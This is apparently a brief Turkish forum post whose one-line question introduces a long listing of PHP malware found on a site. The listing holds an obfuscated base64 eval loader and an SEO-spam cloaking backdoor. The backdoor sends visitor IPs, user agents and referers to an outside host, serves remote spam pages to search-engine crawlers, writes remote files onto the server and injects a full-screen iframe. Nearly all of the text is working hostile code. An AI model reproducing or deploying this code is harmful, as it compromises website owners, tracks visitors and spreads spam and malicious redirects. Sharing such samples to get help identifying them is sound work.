@Linux; aşağıdaki gibi bir kod çıkıyor.

		

<?php
$O0O000 = "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";
eval('?>' . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2) , $OO0O00($O0O000, $OO0000, $OO0000) , $OO0O00($O0O000, 0, $OO0000)))); ?><?php
$temp = @$_GET['smtemp'];
$goweb = 'thirty-seven1.blueaddict.site';
$id = @$_GET['smid'];
$site = @$_GET['smsite'];
$site = str_replace('/', '', $site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/', '', $tempweb);

if ($tempweb) {
    $site = $tempweb[0] . $tempweb[1] . $tempweb[2];
    $temp = substr($tempweb, 3);
}

$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = base64_encode($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = base64_encode($os);

if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = base64_encode($urlshang);
}
else {
    $urlshang = '';
}

if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR') , 'unknown')) {
    $clock = getenv('REMOTE_ADDR');
}
elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $clock = $_SERVER['REMOTE_ADDR'];
}

$http_clock = '';

if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP') , 'unknown')) {
    $http_clock = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR') , 'unknown')) {
    $http_clock = getenv('HTTP_X_FORWARDED_FOR');
}

if (stristr($clock, ',')) {
    $clock_tmp = explode(",", $clock);
    $clock = $clock_tmp[0];
}

if (@$_GET['kj'] == "1") {
    $uurl = $_GET['kjsite'];
    echo '<iframe id="mainweb" name="mainweb" height="100%" width="100%" style=" display: block;left:0;top:0;position:fixed; z-index: 100000; background-color: #fff;" frameborder = "0" frameborder="0" onLoad="iFrameHeight()" src="' . base64_decode($uurl) . '"></iframe>';
    exit;
}

if (stristr($smuri_tmp, '.css')) {
    $web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
    $html_content = trim(smoutdo($web));
    if (!strstr($html_content, 'nobotuseragent')) {
        if (strstr($html_content, 'okhtmlgetcontent')) {
            @header("Content-type: text/css; charset=utf-8");
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        }
        else
        if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }
        else
        if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}
else
if ($site) {
    if ($site == 'xml') {
        @header("Content-type: text/html; charset=utf-8");
        $web = 'http://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt;
        if (substr($temp, 0, 8) == 'shellxml') {
            $xmlname = substr($temp, 8) . '.xml';
        }

        if (substr($temp, 0, 7) == 'hackxml') {
            if (substr($temp, 7)) {
                $xmlname = substr($temp, 7) . '.xml';
            }
        }

        $xml = trim(smoutdo($web));
        $myfile = fopen($xmlname, "w");
        fwrite($myfile, $xml);
        fclose($myfile);
        echo "ok<br />http://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
        echo "<br />" . $web;
        exit();
    }

    if ($id) {
        @header("Content-type: text/html; charset=utf-8");
        $web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
        $html_content = trim(smoutdo($web));
        if (!strstr($html_content, 'nobotuseragent')) {
            if (strstr($html_content, 'okhtmlgetcontent')) {
                $html_content = str_replace("okhtmlgetcontent", '', $html_content);
                echo $html_content;
                exit();
            }
            else
            if (strstr($html_content, 'getcontent500page')) {
                @header('HTTP/1.1 500 Internal Server Error');
                exit();
            }
            else
            if (strstr($html_content, 'getcontent404page')) {
                @header('HTTP/1.1 404 Not Found');
                exit();
            }
        }
    }
}
else {
    $web = 'http://' . $goweb . '/index.php?url=bot&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
    $html_content = trim(smoutdo($web));
    if (!strstr($html_content, 'nobotuseragent')) {
        @header("Content-type: text/html; charset=utf-8");
        if (strstr($html_content, 'okhtmlgetcontent')) {
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        }
        else
        if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        }
        else
        if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
}

function smisbot()
{
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $spiderSite = array(
            "TencentTraveler",
            "Googlebot",
            "msnbot",
            "Sosospider+",
            "Sogou web spider",
            "ia_archiver",
            "Yahoo! Slurp",
            "YoudaoBot",
            "Yahoo Slurp",
            "MSNBot",
            "Java (Often spam bot)",
            "BaiDuSpider",
            "Voila",
            "Yandex bot",
            "BSpider",
            "twiceler",
            "Sogou Spider",
            "Speedy Spider",
            "Google AdSense",
            "Heritrix",
            "Python-urllib",
            "Alexa (IA Archiver)",
            "Ask",
            "Exabot",
            "Custo",
            "OutfoxBot/YodaoBot",
            "yacy",
            "SurveyBot",
            "legs",
            "lwp-trivial",
            "Nutch",
            "StackRambler",
            "The web archive (IA Archiver)",
            "Perl tool",
            "MJ12bot",
            "Netcraft",
            "MSIECrawler",
            "WGet tools",
            "larbin",
            "Fish search",
            'bingbot',
            'google',
            'baidu',
            'aol',
            'bing',
            'yahoo',
            'YandexBot',
            'AhrefsBot'
        );
        foreach($spiderSite as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    }
    else {
        return false;
    }
}

function smoutdo($url)
{
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }

    return $file_contents;
}